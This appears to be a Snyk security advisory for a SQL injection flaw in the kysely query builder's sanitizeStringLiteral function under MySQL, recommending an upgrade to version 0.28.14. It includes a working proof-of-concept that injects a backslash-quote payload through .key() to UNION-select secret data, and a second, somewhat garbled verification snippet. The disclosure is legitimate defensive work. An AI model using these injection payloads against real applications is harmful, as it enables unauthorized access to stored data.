Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade kysely to version 0.28.14 or higher.
kysely is a Type safe SQL query builder
Affected versions of this package are vulnerable to SQL Injection via the sanitizeStringLiteral function. An attacker can execute arbitrary SQL commands by supplying specially crafted input containing backslashes and single quotes, which are not properly escaped in MySQL's default configuration. This allows the attacker to break out of the intended string literal context and inject malicious SQL statements.
import { Kysely, MysqlDialect } from 'kysely'
import { createPool } from 'mysql2'
const db = new Kysely({
dialect: new MysqlDialect({
pool: createPool({
host: 'localhost',
user: 'root',
password: 'password',
database: 'testdb',
}),
}),
})
// Setup: create a table with JSON data
await sql`CREATE TABLE IF NOT EXISTS users (
id INT PRIMARY KEY AUTO_INCREMENT,
data JSON
)`.execute(db)
await sql`INSERT INTO users (data) VALUES ('{"role":"admin","secret":"s3cret"}')`.execute(db)
// Attack: backslash escape bypass in .key()
// An application that passes user input to .key():
const userInput = "\\' OR 1=1) UNION SELECT data FROM users -- " // as never
const query = db
.selectFrom('users')
.select((eb) =>
eb.ref('data', '->$').key(userInput as never).as('result')
)
console.log(query.compile().sql)
// Produces: select `data`->'$.\\'' OR 1=1) UNION SELECT data FROM users -- ' as `result` from `users`
// MySQL interprets \' as escaped quote, breaking out of the string literal
const results = await query.execute()
console.log(results) // Returns injected query results
Simplified verification of the bypass mechanics:
const { Kysely, MysqlDialect } = require('kysely')// Even without executing, the compiled SQL demonstrates the vulnerability: const compiled = db .selectFrom('users') .select((eb) => eb.ref('data', '->$').key("\' OR 1=1 --" as never).as('x') ) .compile()
console.log(compiled.sql) // selectdata->'$.'' OR 1=1 --' asxfromusers// ^^ MySQL sees this as escaped quote // ^ This quote now terminates the string // ^^^^^^^^^^^ Injected SQL